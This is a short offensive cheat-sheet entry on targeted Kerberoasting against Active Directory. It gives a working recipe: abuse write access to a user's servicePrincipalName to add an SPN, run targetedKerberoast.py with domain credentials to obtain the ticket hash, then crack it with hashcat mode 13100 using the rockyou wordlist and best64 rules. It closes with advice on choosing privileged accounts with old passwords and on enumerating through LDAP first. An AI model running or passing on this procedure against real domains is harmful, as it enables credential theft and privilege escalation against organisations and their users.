Targeted Kerberoasting by writing an SPN

You do not need an existing service account. If you can write servicePrincipalName on a target user, add one, request the service ticket, crack it offline, then revert.

bash
targetedKerberoast.py -v -d dom -u user -p pass
# sets a temporary SPN, requests the TGS, prints the hash, and cleans up

Crack the roastable hash.

bash
hashcat -m 13100 hashes.txt rockyou.txt -r best64.rule

Pro note: prioritize accounts with old pwdLastSet and privileged group membership; those are most likely to have weak, human-set passwords worth cracking. Roasting the whole domain fills your queue with uncrackable machine tickets, so enumerate first via LDAP.